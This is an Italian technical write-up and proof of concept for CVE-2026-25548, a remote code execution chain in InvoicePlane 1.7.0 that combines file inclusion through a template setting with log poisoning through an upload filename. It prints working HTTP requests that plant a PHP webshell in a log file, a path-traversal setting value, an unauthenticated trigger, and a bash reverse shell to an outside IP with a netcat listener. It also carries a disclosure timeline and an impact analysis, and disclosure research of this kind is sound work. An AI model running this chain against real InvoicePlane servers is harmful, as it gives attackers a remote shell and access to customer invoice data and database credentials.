
Write-up tecnico dettagliato e proof-of-concept per CVE-2026-25548, una RCE critica in InvoicePlane 1.7.0 tramite LFI e log poisoning, inclusa la catena di attacco, le richieste PoC e l'analisi dell'impatto.
Vulnerabilità: Esecuzione di Codice Remota tramite Local File Inclusion + Log Poisoning
Prodotto: InvoicePlane
Versione interessata: 1.7.0 (e probabilmente versioni precedenti)
Gravità: Critica
Punteggio CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Scoperta da: Leonidas Agathos
Data del report: 2026-01-31
Una catena di vulnerabilità critica in InvoicePlane 1.7.0 consente a un amministratore autenticato di ottenere Esecuzione di Codice Remota (RCE) sul server sottostante. L'attacco combina due debolezze:
.php di CodeIgniter, consentendo l'iniezione di codice PHP arbitrario.Se combinate, un attaccante con accesso amministrativo può ottenere il pieno compromesso del server come utente del web server. L'attivazione finale dell'RCE è non autenticata (URL di fattura pubblica).
| Attributo | Valore |
|---|---|
| File | application/modules/guest/controllers/View.php |
| Righe | 85, 191 |
| Parametro | public_invoice_template (impostazione del database) |
| CWE | CWE-98: Controllo Improprio del Nome File per Istruzioni Include/Require |
Codice vulnerabile (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Codice vulnerabile (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Le impostazioni public_invoice_template e public_quote_template vengono recuperate dal database e concatenate direttamente in un percorso di file passato a load->view() di CodeIgniter (che si risolve in include() di PHP). Non c'è alcuna validazione per:
../)Un amministratore può impostare questo valore su qualsiasi percorso del filesystem, limitato solo dall'estensione .php che viene aggiunta automaticamente.
| Attributo | Valore |
|---|---|
| File | application/modules/upload/controllers/Upload.php |
| Righe | 178–184 |
| Parametro | Nome file di upload (dati del form multipart HTTP) |
| CWE | CWE-117: Neutralizzazione Impropria dell'Output per i Log |
Codice vulnerabile (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Quando un nome file attiva il controllo di path traversal, il nome file grezzo e non sanificato viene scritto direttamente nel file di log. I file di log di CodeIgniter:
.php: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Un attaccante che incorpora <?php system($_GET[1]); ?> nel nome file fa sì che il payload venga scritto nel log e successivamente eseguito tramite l'LFI.
[Utente autenticato] → Upload di nome file malevolo → PHP iniettato nel file di log
[Admin] → Imposta l'impostazione del modello → LFI punta al file di log
[Chiunque] → Visita l'URL di fattura pubblica → RCE
| Passo | Requisito |
|---|---|
| Log Poisoning | Utente autenticato con accesso all'upload |
| Configurazione LFI | Account amministratore |
| Attivazione RCE | Non autenticata (URL di fattura pubblica) |
Invia una richiesta di upload di file con una webshell PHP incorporata nel nome file. Il controllo di path traversal si attiverà e scriverà il nome file grezzo (incluso il payload PHP) nel file di log.
Richiesta (tramite Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
Il server rifiuta l'upload (upload_error_invalid_extension) ma la voce di log è già stata scritta:
Risultato in application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Naviga alla sezione Allegati di una fattura e clicca su Aggiungi file per raggiungere l'endpoint di upload.



Come amministratore, imposta l'impostazione public_invoice_template per puntare al file di log di oggi utilizzando un payload di path traversal. Il loader di viste di CodeIgniter aggiunge .php automaticamente.
Richiesta (tramite Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
Il percorso di traversal si risolve da application/views/invoice_templates/public/ fino a application/logs/, quindi include log-2026-01-31.php.

Accedi a qualsiasi URL di fattura pubblica con un comando passato come parametro GET 1. Non è richiesta alcuna autenticazione.
Richiesta:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Risposta (nel sorgente della pagina):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
Il payload system($_GET[1]) esegue il comando id e il suo output viene riflesso inline nella pagina.

Sostituisci il comando con un payload di reverse shell bash per ottenere una shell interattiva:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
Sulla macchina dell'attaccante:
nc -lnvp 4444
Risultato:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Shell interattiva completa come www-data.

| Dimensione | Valutazione | Dettaglio |
|---|---|---|
| Riservatezza | ALTA | Accesso completo in lettura a tutti i file accessibili dall'utente del web server, incluse le credenziali del database e i dati delle fatture dei clienti |
| Integrità | ALTA | Scrittura arbitraria di file, modifica del database, installazione di webshell |
| Disponibilità | ALTA | Denial of service, distribuzione di ransomware, distruzione del sistema |
| File | Vulnerabilità |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — Modello di fattura |
application/modules/guest/controllers/View.php:191 | LFI — Modello di preventivo |
application/modules/upload/controllers/Upload.php:182 | Log Poisoning |
application/modules/settings/controllers/Settings.php | Nessuna validazione sull'impostazione del modello |
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilità scoperta |
| 2026-01-31 | Prova di concetto sviluppata |
| 2026-01-31 | Vendor notificato |
| 2026-02-03 | Riconoscimento del vendor |
| 2026-02-03 | Patch rilasciata |
| 2026-02-04 | Divulgazione pubblica |
Questa vulnerabilità è stata scoperta durante una ricerca di sicurezza indipendente. Tutte le informazioni sono fornite strettamente per scopi educativi, di ricerca e difensivi per assistere il vendor e la comunità della sicurezza nella comprensione e nella risoluzione del problema. Qualsiasi uso malevolo di queste informazioni è severamente proibito.